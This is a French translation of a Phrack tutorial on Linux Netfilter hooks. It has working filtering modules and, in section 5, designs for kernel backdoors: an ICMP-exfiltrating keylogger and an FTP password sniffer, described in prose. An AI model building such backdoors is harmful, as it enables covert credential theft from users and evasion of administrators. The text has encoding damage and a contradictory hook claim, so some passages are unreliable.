 Volume 0x0b, Issue 0x3d, Phile #0x0d of 0x0f

|=------------=[ Hacking the Linux Kernel Network Stack ]=---------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ bioforge <alkerr@yifan.net> ]=--------------------=|
|=------------------=[      Traduit par zul        ]=--------------------=|


Sommaire

1 Introduction
  1.1 Ce qu'est ce document
  1.2 Ce que n'est pas ce document

2 Les diffrents hooks de Netfilter et leurs utilisation
  2.1 Gestion des paquets par le noyau Linux
  2.2 Les hooks Netfilter pour ipv4

3 Enregistrer et dsenregistrer les hooks Netfilter

4 Filtrer les paquets avec Netfilter
  4.1 Rapide tour d'horizon des fonctions de hook
  4.2 Filtrage par interface
  4.3 Filtrage par addresse
  4.4 Filtrage par port TCP

5 Autres possibilits pour les hooks Netfilter
  5.1 Cacher les daemons backdoor 
  5.2 Sniffer de mot de passe FTP via le noyau
  5.2.1 Le code ... nfsniff.c
  5.2.2 getpass.c

6 Cacher le traffic rseau a libpcap
  6.1 SOCK_PACKET, SOCK_RAW et libpcap
  6.2 Cacher le poignard sous la manteau 

7 Conclusion

A Un firewall leger
  A.1 Survol
  A.2 La source lwfw.c
  
A.3 lwfw.h
B Code pour la section 6


------[ 1. Introduction

Cette article dcrit comment des bizarreries (pas forcement des faiblesses)
dans la pile rseau du noyau Linux peut tre utiliss dans des buts
malveillants ou pas. Je vous prsente ici une discussion sur l'utilisation
lgitime des hooks Netfilter mais aussi une technique qui permet de cacher
une partie du traffic  un sniffer bas sur Libpcap prsent sur la machine
locale.

Netfilter est un sous-systme du kernel Linux 2.4. Netfilter permet de
raliser des oprations sur le rseau tel que le filtrage des paquets, de
la translation d'addresse (NAT)et du tracking de connection en utilisant
les divers hooks disponibles.  Les hooks Netfilter font parti du code du
noyau, ils peuvent tre compil statiquement (dans le noyau,en dur) ou sous
forme de modules.  De plus, ils peuvent enregistrer des fonctions qui
seront appels lorsque certains vnements rseaux arrivent. Un exemple
d'un tel vnement serait la rception d'un paquet.

------[ 1.1 Ce qu'est ce document

Ce document discute comment un codeur de lkm peut utiliser les hooks
Netfilter pour filtrer des paquets mais aussi comment le traffic peut etre
cach  une application utilisant libpcap. Bien que Linux 2.4 possde des
hooks pour ipv4,ipv6 et DECNET, nous discuterons ici seulement de ipv4.
Cependant , la plupart de ce qui sera dit sur ipv4 pourra struct'appliquer
aux autres protocoles. Dans un souci d'apprentissage par l'exemple, un
module permettant un filtrage simple de paquets est disponible dans
l'Appendice A. Tous les test et codes de ce document ont t ralis sur un
x86 avec un Linux 2.4.5. Le comportement des hooks Netfilter a t test
sur la loopback, sur une interface Ethernet et sur un l'interface d'un
modem Point-to-Point. 

Ce document est aussi ecrit pour moi-mme, pour essayer de comprendre
compltement Netfilter. Je ne garantie pas que les codes qui accompagnent
ce document ne contiennent aucune erreur mme si j'ai test tous les codes
que je vous propose. J'ai plant un certain nombre de fois mon noyau et
j'espere qu'il ne sera pas de meme pour vous. En outre, je n'accepterai
aucune responsabilit pour d'eventuelles dommages subis en suivant ce
document. Il convient que le lecteur est une bonne connaissance du langage
C et de la programmation de Loadable Kernel Modules.

Si vous vous apercevez d'une erreur dans la suite du document, veuillez me
le faire savoir. Je suis de plus ouvert a toutes suggestions visant 
amliorer ce document ou donnant d'autres renseignement sur Netfilter 

------[ 1.2 Ce que n'est pas ce document

Ce document n'est pas l'ultime rfrence sur Netfilter. Ce n'est pas non
plus une rfrence sur l'usage des commandes iptables. Si vous voulez en
savoir plus sur les commandes iptables, consultez les mans.

Sur ce, commencons avec une petite introduction sur l'utilisation de
Netfilter


------[ 2. Les diffrentes hooks Netfilter et leur utilisation
------[ 2.1 Gestion des paquets par le kernel Linux

Bien que j'aurai ador m'interesser aux dtails les plus intimes de la
gestion des paquets par Linx et les evenements antrieurs et postrieuse a
l'utilisation de chaque hook Netfilet, je ne le ferai pas. La raison en est
simple : Harad Welte a dja ecrit un tres bon docuement sur le sujet
"journey of a Packet Through the Linux 2.4 Network Stack". Pour apprendre
plus sur la gestion des paquets par le kernel, je vous conseillerai donc de
lire ce document. Pour le moment, il suffit de comprendre que lorsqu'un
paquet traverse la pile rseau du kernel Linux, il va croiser un certain
nombre de lieu de hooks ou` le paccket va tre analys puis soit gard soit
rejet. Ce sont les hooks Netfilter .

------[ 2.2 Les hooks Netfilter ipv4

Netfilter dfinit cinq hooks pour ipv4. La dclaration des symboles pour
ces hooks se trouver dans linux/netfilter_ipv4.h . Ces hooks sont dcrits
dans la table ci-dessous

Table 1 : Hooks Ipv4 disponibles

Hook Appel
NF_IP_PRE_ROUTING Aprs un test de conformit, avant une dcision de
routage
NF_IP_LOCAL_IN Apres une decision de routage si le paquet est destin a
cet hote
NF_IP_FORWARD Si le paquet est destin  une autre interface
NF_IP_LOCAL_OUT Pour des paquets sortants venant de processus locaux
NF_IP_POST_ROUTING Juste avant que des paquets sortant " " 

Le hook NF_IP_POST_ROUTING est le premier hook appel aprs la rception
d'un paquet.  C'est le hook qui sera utilis dans le module prsent un peu
plus loin.  Evidemment , les autres hooks sont trs utiles aussi, mais pour
l'instant focalisons nous sur NF_IP_POST_ROUTING.

Apres que les fonctions de hooks aient fait leur office, elles doivent
retourner un des codes prdfinis de Netfilter. Ces codes sont les suivants:

Table 2 : Code de retour Netfilter
Code de retour Signification
NF_DROP Rejeter le paquet
NF_ACCEPT Garder le paquet
NF_STOLEN Oublier le paquet
NF_QUEUE Empiler le paquet pour l'espace utilisateur
NF_REPEAT Appeller de nouveau la fonction de hook sur ce paquet

Le code de retour NF_DROP signifie que le paquet va tre complement ecart
et toutes les ressouces utilises par celui-ci seront libres.  NF_ACCEPT
dit  Netfilter que ce paquet est acceptable (de son point de vue) et que
le paquet peut aller jusqu'a la prochaine tape de la pile rseau.
NF_STOLEN est un code de retour interessant car il va dire  Netfilter
d'oublier le paquet. Ce qu'il dit rellement  Netfilter est que la
fonction de hook va dorenavent struct'occuper struct'occuper du traitement
de ce paquet et que Netfilter doit arrter tout traitement sur ce paquet.
Cela ne signifie pas que les ressources du paquet vont tre libres. Le
paquet et sa structure sk_buff sont toujours valides, c'est juste que que
la fonction de hook devient propitaire du paquet  la place de Netfilter.
Malheuresement, je ne suis pas exactement certain de ce que fait NF_QUEUE,
de ce fait je ne discuterai pas dessus. La dernire valeur de retour
,NF_REPEAT impose  Netfilter d'appeller de nouveau cette fonction de hook.
Evidemment il faut tre prudent dans l'utilisation de NF_REPEAT afin
d'eviter une boucle sans fin.


------[ 3. Enregistrer et desenregistrer des hooks Netfilter

L'enregistrement d'une fonction de hook est un processus tout simple qui
tourne autour de la structure nf_hook_ops , definie dans linux/netfilter.h.
La dfinition de cette structure est la suivante.

struct nf_hook_ops {
struct list_head list;
/* User fills in from here down. */
nf_hookfn *hook;
int pf;
int hooknum;
/* Hooks are ordered in ascending priority. */
int priority;
};

Le membre list de cette structure est utiliser pour dresser la liste des
hooks Netfilter et n'a aucune importance pour l'utilisateur pour
l'enregistrement du hook est un pointeur vers une fonction nf_hookfn. C'est
cette fonction qui va tre appel par le hook. nf_hookfn est lui aussi
defini dans linux/netfilter.h.  Le champ pf spcifie la famille de
protocole utilis. L'ensemble des protocoles valides est dfinis dans
linux/socket.h mais dans le cas d'ipv4, nous utiliserons PF_INET. Le champ
hooknum spcifie dans quel hook particulier sera introduite la fonction :
c'est une des valeurs listes dans la table 1. Enfin, le champ priority
spcifie  quelle place dans l'ordre d'execution du hook cette fonction
sera appel.  Pour ipv4, les valeurs acceptables sont dfinis dans
linux/netfilter_ipv4.h dans l'enumeration nf_ip_hook_priorities. Pour les
besoins du module de prsentation, nous utiliserons NF_IP_PRI_FIRST.

L'enregistrement d'un hook Netfilter requiert l'utilisation d'une structure
nf_hook_ops avec la fonction nf_register_hook(). nf_register_hook() prent
en argument l'addresse d'une structure nf_hook_ops et retourne un entier
(int). Cependant, si vous regardez rellement le code de la fonction
nf_register_hook() dans net/core/netfilter.c, vous noterez qu'il retourne
toujours 0. Ci-dessous, vous trouvez une exemple de code qui enregistre
simplement une fonction qui rejette tous les paquets entrants. Ce code vous
montre aussi comment les valeurs de retour de Netfilter sont interprts.


Listing 1. Registration of a Netfilter hook

/* Sample code to install a Netfilter hook function that will
* drop all incoming paquets. */
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;
/* This is the hook function itself */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
return NF_DROP; /* Drop ALL paquets */
}
/* Initialisation routine */
int init_module()
{
/* Fill in our hook structure */
nfho.hook = hook_func; /* Handler function */
nfho.hooknum = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* Make our function first */
nf_register_hook(&nfho);

return 0;
}

/* Cleanup routine */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}

C'est tout pour ce code .  Avec le code donn dans le listing 1, vous
pouvez voir que desenregistrer un hook Netfilter revient simplement 
appeler nf_unregister_hook() avec comme argument l'addresse de la structure
que vous avez utilis pour enregistrer le hook.

------[ 4. Techniques basiques de filtrage de paquet avec Netfilter
------[ 4.1 Une approche plus appronfondie des fonctions de hooks

Il est maintenat temps de regarder quelles sont les donnes qui passent 
travers le hook et comment ces donnes sont utiliss pour prendre une
dcision concernant leur filtrage. Regardons donc plus precisement le
prototype des fonctions nf_hookfn. Le prototype donn dans
linux/netfilter.h est le suivant :

typedef unsigned int nf_hookfn(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *));

Le premier argument de la fonction nf_hookfn est une valeur spcifiant un
des types de hooks dcrit dans la table 1. Le second argument est plus
interessant, c'est un pointeur sur un pointeur sur une structure sk_buff,
la structure utilise dans la pile rseau pour dcrire un paquet. Cette
structure est dfinie dans linux/skbuff.h et en raison de sa taille, je
decrirai seulement ses champs les plus interessants.

Les champs les plus importants de la structure sk_buff sont probablement
les trois unions dcrivant l'en-tete de la couche transport (cad UDP,
TCP,IMCP, SPX), l'entete Internet (cad IPv4/6, IPX, RAW) et l'en-tete de la
couche de liaison (Ethernet ou RAW). Les noms de ces unions sont
respectivement h nh et mac. Ces unions contiennent plusieurs structures,
qui dpendent des protocoles utiliss dans ce paquet. Certains d'entre vous
auront not que parfois, l'en-tte de la couche transport et celui de la
couche Internet semblent pointer au mme endroit en mmoire. C'est le cas
pour les paquets TCP ou h et nh sont tous deux considres comme des
pointeurs vers une structure IP. Cela signifie qu'essayer de rcuprer la
valeur de h->th en pensant que h pointe vers l'entete TCP donnera un
rsultat faux car h->th pointe dans l'en-tte et est donc quivalent 
np->iph.

Les autres champs intressants sont la longeur(len) et le champ de donnes.
La longueur spcifie la longueur totale des donnes du paquet(on ne
considre pas la taille des headers). Acutellement, on sait donc comment ,
partir d'une structure sk_buff,accder aux diffrents en-ttes des
diffrents protocoles et recuperer les donnes du paquet. Quels autres bits
riches en informations sont encore disponible par l'intermdiaire des
fonctions de hooks ?

Les deux arguments qui viennent aprs skb sont des pointeurs vers des
structures net_device. Les structures net_device sont utiliss par le noyau
Linux pour dcrire les interfaces rseau. La premire de ces structures,in,
est utilis pour dcrire l'interface par laquelle est arriv le paquet.
Sans surprise, la structure out dcrit l'interface par laquelle le paquet
va repartir. Il est important de se rendre compte que habituellement,
seulement une de ces interfaces est fournie. Par exemple, in sera seulent
seulement fournie pour les hooks NF_IP_PRE_ROUTING et NF_IP_LOCAL_IN. out
lui sera fournie pour les hooks NF_IP_LOCAL_OUT et NF_IP_POST_ROUTING .
Pour le moment, je n'ai pas encore test quelles taient les structures
disponibles pour le hook NF_IP_FORWARD mais si vous vous assurez que les
pointeurs sont non NULL avant de les librer , vous ne devriez pas avoir de
problme.

Finalement, le dernier argument pass  une fonction de hook est un
pointeur de fonction appel okfn qui prend une structure sk_buff comme
unique argument et qui retourne un entier. Je ne suis pas trop sur de ce
que cette fonction fait. En regardant dans net/core/netfilter.c, il y a
deux endroits ou` okfn est appel. Cette fonction est appel dans
nf_hook_slow() et nf_reinject() lorsqu'un hook Netfilter retourne
NF_ACCEPT. Si quelqu'un a plus d'informations sur okfn, merci de me le
faire savoir.

Maintenant que nous avons vu quelles taient les informations les plus
importantes et les plus utiles que recevait une fonction de hook, il est
temps de nous intresser  l'utilisation de ces informations pour filtrer
les paquets de diffrents manires.


----[ 4.2 - Filtrage par interface

C'est probablement la mthode de filtrage la plus simple qui soit. Vous
vous rappellez des structures net_device que notre fonction de hook
recevait ? Utiliser le champ name de la structure net_device approprie va
nous permettre de rejeter les paquets en considrant leur interface de
dpart ou leur interface d'arrive. Pour rejeter tous les paquets qui
arrive de l'interface eth0, chacun des paquets doit comparer sa valeur
in->name avec "eth0". Si les noms correspondent, alors la fonction de hook
renvoie simplement NF_DROP et le paquet est dtruit. C'est aussi simple que
cela. Le listing 2 donne un chantillon du code permettant de raliser
cela. A noter que le module Light-Weight Firewall proposera des exemples
simples de toutes les techniques de filtrage prsentes ici. Il incluera
aussi une interface IOCTL et une application permettant de modifier
dynamiquement son comportement.

Listing 2. Filtering paquets based on their source interface

/* Sample code to install a Netfilter hook function that will
* drop all incoming paquets on an interface we specify */
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;
/* Name of the interface we want to drop paquets from */
static char *drop_if = "lo";
/* This is the hook function itself */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
if (strcmp(in->name, drop_if) == 0) {
printk("Dropped paquet on %s...\n", drop_if);
return NF_DROP;
} else {
return NF_ACCEPT;
}
}
/* Initialisation routine */
int init_module()
{
/* Fill in our hook structure */
nfho.hook = hook_func; /* Handler function */
nfho.hooknum = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* Make our function first */

nf_register_hook(&nfho);

return 0;
}

/* Cleanup routine */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}

N'est ce pas simple ? Maintenant , interessons nous au filtrage bas sur
les addresses IP.

----[ 4.3 - Filtrage par addresse

Comme lors du filtrage par interface, le filtrage de paquet selon leur
addresse IP source ou leur addresse IP de destination est trs simple.
Cette fois, nous allons nous interess  la structure sk_buff. Rappelez
vous que l'argument skb est un pointeur sur un pointeur sur une structure
sk_buff. Pour viter bon nombre de problme, une bonne habitude est de
dclarer une pointeur spar vers une structure sk_buff et de lui assigner
la valeur pointe par skb de la manire suivante :

struct sk_buff *sb = *skb; /* Enleve un niveau d'indirection* /

Vous n'avez plus besoin de deferencer qu' une fois pour accder aux
diffrents lments de la structure. Obtenir l'en-tte IP d'un paquet se
fait en utilisant l'entte de la couche Internet de la structure sk_buff.
Cet entte est contenue dans une union et on peut y accder via
sk_buff->nh.iph. La fonction du listing 3 montre comment filtrer des
paquets en comparant leur IP source  une certaine addresse ( rejeter)
lorsqu'on lui donne en argument la structure sk_buff du paquet. Ce code est
direcment tir du LWFW. Seule diffrence avec le code LWFW : la partie
gestion des statistiques a t enlev.


Listing 3. Checking source IP of a received paquet

unsigned char *deny_ip = "\x7f\x00\x00\x01"; /* 127.0.0.1 */

...
static int check_ip_paquet(struct sk_buff *skb)
{
/* We don't want any NULL pointers in the chain to
* the IP header. */
if (!skb )return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;

if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) {
return NF_DROP;
}
return NF_ACCEPT;
}

Maintenant si l'addresse source correspond  l'addresse pour laquelle nous
voulons rejeter tous les paquets, alors le paquet est rejet. Pour que
cette fonction marche comme prsent auparavant, il faut que la valeur de
deny_ip soit stock selon l'ordre de bit rseau (cad Big-endian, alors que
le bit order des processeurs Intel est little-endian).Bien qu'il soit peu
probable que la fonction soit appell avec un argument NULL, cela ne coute
rien d'etre un peu paranoiaque (NdT on sait jamais avec ces mechants h4x0rs
aussi ). Evidemment si on rencontre une erreur, on va renvoyer NF_ACCEPT
Ainsi Netfilter continuera  traiter le paquet. Le listing 4 prsente un
petit module utilisant un filtrage par addresse, qui va rejeter tous les
paquets venant d'une certaine addresse IP.

Listing 4. Filtering paquets based on their source address

/* Sample code to install a Netfilter hook function that will
* drop all incoming paquets from an IP address we specify */
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/ip.h> /* For IP header */
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;
/* IP address we want to drop paquets from, in NB order */
static unsigned char *drop_ip = "\x7f\x00\x00\x01";
/* This is the hook function itself */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
if (sb->nh.iph->saddr == drop_ip) {
printk("Dropped paquet from... %d.%d.%d.%d\n",
*drop_ip, *(drop_ip + 1),
*(drop_ip + 2), *(drop_ip + 3));
return NF_DROP;
} else {
return NF_ACCEPT;
}
}
/* Initialisation routine */
int init_module()
{
/* Fill in our hook structure */
nfho.hook = hook_func;
/* Handler function */
nfho.hooknum = NF_IP_PRE_ROUTING; /* First for IPv4 */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* Make our func first */

nf_register_hook(&nfho);
return 0;
}

/* Cleanup routine */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}

----[ 4.4 - Filtrage selon le port TCP

Une autre rgle simple pour filtrer les paquets se basent sur leur port de
destination. C'est un peu plus difficile que de vrifier l'addresse IP car
nous devons crer nous-mme un pointeur vers l'entte TCP. Souvenez vous de
notre discussion prcdente sur l'entete de la couche transport et celui de
la couche rseau. Rcuperer un pointeurs vers un entte TCP revient
simplement  allouer un pointeurs vers une structure tcphdr( dfini dans
linux/tcp.h) et de le faire pointer juste aprs l'entte IP de notre paquet
(NdT : euh normalement,il faudrait quand meme verifier que c'est un paquet
TCP avt de caster comme une brute). Peut-tre un exemple aiderait  une
meilleur comprhension. Le listing 5 prsente un code qui permet de filtrer
les paquets selon un port TCP de destination. Comme pour le listing 3, ce
code est extrait de LWFW.

unsigned char *deny_port = "\x00\x19"; /* port 25 */
...
static int check_tcp_paquet(struct sk_buff *skb)
{
struct tcphdr *thead;
/* We don't want any NULL pointers in the chain
* to the IP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;
/* Be sure this is a TCP paquet first */
if (skb->nh.iph->protocol != IPPROTO_TCP) {
return NF_ACCEPT;
}
thead = (struct tcphdr *)(skb->data +
(skb->nh.iph->ihl * 4));
/* Now check the destination port */
if ((thead->dest) == *(unsigned short *)deny_port) {
return NF_DROP;
}

return NF_ACCEPT;
}


En effet, c'est trs simple. N'oubliez pas que pour que cette fonction
marche , il faut que la variable deny_port soit dans l'ordre de bit rseau.
C'est tout pour les bases du filtrage de paquet. Vous devriez maintenant
avoir une bonne comprhension de la manire de rcuprer les informations
qui nous intressent dans un paquet. Nous allons donc passer  des choses
un peu plus intressantes.


--[ 5 - Autres possibilits des hooks Netfilter

Je vais ici faire quelques propositions pour raliser quelques choses
intressantes avec les hooks Netfilter. La section 5.1 nous donnera
quelques ides de ce que l'on peut faire, tandis que la section 5.2 sera
consacr  l'tude et l'criture d'un sniffer de mot de passe FTP en ring 0
,qui permet rellement de rcuperer des mots de passe  distance. Cela
marche si bien que ca m'en a fait peur et j'ai dcid de l'ecrire. 

----[ 5.1 - Hidden backdoor daemons

Le devellopement de lkm est probablement un des domaines les plus
intressant de la programmation sous Linux. Lorsque vous ecrivez du code
dans le noyau, votre seule limite est votre imagination. D'un point de vue
malicieux (qui a dit BlackHat ), vous pouvez cacher des fichiers, des
processus et tout un tas d'autres choses que n'importe quel rootkit digne
de ce nom doit savoir faire. D'un point de vue moins malicieux (si si ce
genre de personne existe rellement), vous pouvez cacher des fichiers, des
processus et tout un tas d'autre choses (NdT il y a un bug dans la
Matrice). Le noyau est vraiment un lieu fascinant.

Avec toutes ces ressources disponibles pour la personne qui programme au
niveau du noyau, on peut imaginer de nombreuses possibilits. La plus
intressante ( et aussi la plus effrayante pour l'administrateur) est
probablement la possibilt d'un backdoor @ l'intrieur mme de l'espace
noyau. Aors tout, si un backdoor ne tourne pas comme un processus, comment
savoir qu'il tourne ? Bien sur, il existe un certain nombre de moyen de
dcouvrir de tel backdoor dans l'espace noyau, mais pas aussi simple que
d'executer ps. Toutefois l'ide de mettre un backdoor dans l'espace noyau
n'est pas nouvelle. Cependant, ce que je vous propose ici est de placer de
simple service rseau comme backdoor en utilisant , comme vous l'avez
devin, les hooks Netfilter.

Si vous avez les comptences ncessaires et le courage de cracher votre
noyau au nom glorieux de "exprimentation", alors vous pouvez construire
des services rseaux simples mais utiles, entirement localis dans
l'espace noyau et accessible  distance. De manire vidente, un hook
Netfilter peut regarder tous les paquets arrivants dans l'attente d'un
paquet "magique"et lorsque ce paquet "magique" est rec,u, faire
quelquechose de spcial. Des rsultats peuvent alors tre envoys du hook
Netfilter et la fonction de hook peut renvoyer NF_STOLEN, ainsi le paquet
"magic" n'ira pas plus loin. Notez cependant que ... Par consequent,
l'espace utilisateur ignore totalement que lepaquet magique est arriv,
mais il peut toujours voir les paquets sortant. Et attention : Ce n'est pas
parce que un sniffer sur la machine compromise ne peut pas voir le paquet
que votre paquet est invisible. Un sniffer plac sur une machine
intermdiaire peut voir votre paquet.

Kossak et Lifeline ont crit un excellent article pour Phrackqui dcrit
comment on peut faire ce genre de chose en enregistrant divers traiteurs de
paquets (google traduction powa . Quoi que ce document se limite aux hooks
Netfilter, je vous conseille quand mme de lire leur article( Issue 55,
file 12) car c'est un article comportant de nombreuses ides intressantes.

Quel genre de travail peut donc faire un backdoor bas sur les hooks
Netfilter ? Nous allons vous donner quelques suggestions
-- Key-logger avec accs distant. Un module va noter les diffrentes
   frappers. Les rsultats seront envoys  un ho^te distant quand cette ho^te
   enverra une requte ping. Ainsi le flux des frappes pourra ressembler  un
   flux rgulier (attention au flood) de rponses  un ECHO_REQUEST. Bien
   evidemment, on pourra implmenter une leger cryptage sur les donnes afin
   de brouiller les pistes : cela vitera par exemple qu'un administrateur
   suspicieux s'apercoivent que ces donnes correspondent  ce qu'il
   vient de taper lors de sa sesssion ssh.
-- Diverses taches simples d'administations comme par exemple rcuperer la
   liste des comptes actuellement logs sur la machine ou bien obtenir des
   informations sur les connections en cours
-- Meme si cela n'a aucun rapport avec un backdoor, on peut imaginer un
   module sur le primtre du rseau qui va bloquer tous le traffic dont on
   suppose qu'il vient de troyens , d'un logiciel de p2p ou d'un (IMCP covert
   channel).
-- un "serveur" de transfert de fichiers . J'ai rcemment implment cette
   ide. De nombreuses heures de plaisir pour raliser ce lkm.
-- Packet bouncer. Cela permet de rediriger les paquets venant d'un certain
   port sur une autre IP et un autre port puis de retourner les paquets 
   l'metteur par la mme voie. Aucun processus ne sera utilis et encore
   mieux , aucune socket ne sera ouverte.
-- Un tel paquet bouncer peut tre utilis pour faire communiquer de
   manire semi-couverte des systmes critiques, comme par exemple lors de la
   configuration d'un routeur.
-- Un sniffer de mots de passe pour FTP/POP3/Telnet . Le module rcupre
   les mots de passe sortant et sauvegarde ces informations en attendant de
   les envoyer lorsq'un paquet magic arrivera.

Bien, ceci tait une courte liste d'ides. La dernire prsente va
maintenat tre tudie de plus prs dans la prochaine section . Cela nous
donnera l'occasion de regarder de plus prs le fonctionnement interne du
code rseau du kernel. 

----[ 5.2 - Un sniffer de mots de passe FTP

Il est prsent ici un module simplue qui agira comme un backdoor bas sur
Netfilter, comme envisag prcedemment. Ce module va sniffer les paquets
FTP sortant  la recherche d'une paire USER/PASS destin  un serveur FTP.
Quand une telle pair est trouv, le module devrai attendre un paquet
magique de ping et repondra par un IMCP ECHO assez gros pour contenrir
l'addresse Ip du serveur et le couple nom d'utilisateur et mot de passe.
(NdT version tres perso). En outre est fournie un petit hack qui permet
d'envoyer un paquet magique, de rcuprer la rponse et d'afficher les
informations rcupres. Une fois que le couple nom d'utilisateur/mot de
passe a t envoy par le module, on peut chercher  lire la prochaine
paire. Notez bien qe le module ne stocke qu'une pair  la fois.
Maintenant, aprs ce bref tour d'horizon, il est temps de regarder plus
prcisement comment le module va faire toutes ces choses.

Quand le module est charg , la fonction du module init_module() va
simplement enregistr deux hooks Netfilter. Le premier est utilis pour
sniffer le rseau entrant (fonction place dans NF_IP_PRE_ROUTING) dans
l'attente d'une paquet IMCP magique. Le deuxime lui est utilis pour voir
le traffic sortant de la machine ( fonction place sur NF_IP_POST_ROUTING).
Il va chercher et capturer les paquets FTP ou` il voit un USER ou un PASS.
La fonction cleanup_module() va simplement dsenregistrer ces deux hooks.

La fonction watch_out() est utilis pour hooker NF_IP_POST_ROUTING. En
regardant le code cette fonction, vous pouvz voir qu'il struct'agit en fait
d'oprations simples. Quand un paquet entre dans la fonction, il passe par
diffrents contro^les pour vrifier qu"il struct'agit d'un paquet FTP. Si
ce n'est pas le cas, on retourne immdiatemment NF_ACCEPT. Si il
struct'agit d'un paquet FTP, le module vrifi alors si il ne stocke pas
dja une paire nom d'utilisateur/mot de passe. Si c'est le cas ( signal
par la non-nullit de la variable have_pair) alors NF_ACCEPT est retourn
et le paquet peut quitter le systme. Dans les autres cas, la procdure
check_ftp() est appele. C'est ici qu' lieu pour le moment l'extration des
mots de passe a lieu. Si aucun autre paquet n'a t rec,u prcedemment, les
champs target_ip et target_port sont vides.

La fonction check_ftp() va commencer par rechercher les termes "USER",
"PASS" ou "QUIT" en debut de paquet. A noter que la commande PASS ne sera
pas traite tant qu'une requte USER n'a pas t traite. Cela vite les
blocages (deadlock) qui peuvent arriver lorsque , pour une raison
quelconque , la commande PASS arrive en premier et donc la connection cesse
avant que la commande USER arrive. En outre, si une commande QUIT arrive
alors que seul un nom d'utilisateur ait t sniff, alors toutes les
variables sont mises  zro : ainsi on pourra recommencer  sniffer une
nouvelle connection. Lorsqu'une commande USER ou PASS arrive, si les
prcdents tests de conformit ont t pass, l'argument de la commande est
copi. Juste avant que check_ftp() se termine normalement, la fonction
vrifie si elle a maintenant un nom d'utilisateur et un mot de passe
valide. Si c'est le cas, on donnera une valeur non nulle  have_pair :
ainsi plus aucun nom d'utilisateur ou mot de passe ne sera rcupr tant
que la paire courante n'a pas t envoye .

Jusqu'ici vous avez vu comment le module struct'installe et recherche les
noms d'utilisateurs et les mots de passes. Nous allons maintenant nous
interesser  ce qu'il va se passer lorsque le paquet magique arrive.
Faites particulirement attention ici car c'est dans cette partie que j'ai
rencontr le plus grand nombre de problmes lors du developpement : pas
moins de 16 erreurs du noyau si je me souviens bien. Quand les paquets
arrivent sur la machine ou` le module est install, la fonction watch_it()
vrifie chaque paquet pour vrifier si il ne struct'agit pas d'un paquet
magique. Si il n'est pas considr comme magique aprs la srie de tests,
le paquet est ignor et watch_in() retourne NF_ACCEPT. Notez bien qu'un des
critres pour les paquets magiques est d'tre de taille assez importante
pour pouvoir stocker l'addresse IP, le nom d'utilisateur et le mot de
passe. On prend cette prcaution afin de faciliter l'envoi de la rponse.
Un nouveau sk_buff pourrait tre allou, mais remplir tous les champs
ncessaires pourrait tre difficile et vous devez le faire sans erreur
(sous peine de crash ). Donc pluto^t que de crer une nouvelle structure
pour notre paquet de rponse, nous allons nous servir de la structure du
paquet de requte. Pour retourner le paquet avec succs, nous devons faire
une certain nombre de changements. Tout d'abord, les adresses IP doivent
tre permuts et le champ type de paquet de la structure sk_buff(pkt_type)
est chang en PACKET_OUTGOING comme dfini dans linux/if_paquet.h . La
prochaine chose dont nous devons nous assurer que touts les en-ttes de la
couche de liaison soient inclus. Le champ data de la structure sk_buff de
notre paquet rec,u pointe juste aprs l'en-tte de la couche de liaison et
c'est ce champ data qui pointera vers le dbut des donnes du paquet que
nous allons envoy ( cacaburk).Ainsi pour les interfaces qui necessitent un
en-tte de liaison (Ethernet et Loopback Point-to-Point ) , nous ferons
pointer le champ data sur les structures mac.ethernet ou mac.raw. Pour
determiner de quel type d'interface les paquets arrivent, nous pouvons
tester la valeur de sb->dev->type ou` sb est un pointeur vers une structure
sk_buff. Les valeurs possibles pour ce champ peuvent tre trouv dans
linux/if_arp.h mais je vous donne les plus utiles dans la table 3.

Table 3 : Valeurs communes des types d'interface

Code du type Type d'interface
ARPHRD_ETHER Ethernet
ARPHRD_LOOPBACK Loopback device
ARPHRD_PPP Point-to-point (cad modem)

La derniere chose a faire est de copier les donnes que nous voulons
envoyer dans notre rponse. Il est maintenant temps d'envoyer la paquet.
La fonction dev_queue_xmit() prend comme seul argument une structure
sk_buff et renvoie un code d'erreur ngatif en cas de jolie erreur ( nice
error). Que veux je dire par jolie erreur ? En fait, si vous donnez 
dev_queue_xmit() un buffer de socket mal form alors vous risquez d'avoir
une erreur pluto^t "moche". Cela peut mme aller jusqu'a un plantage du
noyau et un dump de la pile rseau. Vous voyez mieux maintenant comment on
peut sparer les erreurs en deux types distincts ? . Finallement,
watch_in() va retourner NF_STOLEN afin que Netfilter oublie l'existence
mme de ce paquet (un peu comme lorsque les Jedis jouent avec l'esprit de
leur cible). Attention : NE JAMAIS retourn NF_DROP si vous avez appel
dev_queue_xmit() !! Si vous faisiez cela, vous devriez avoir rapidement un
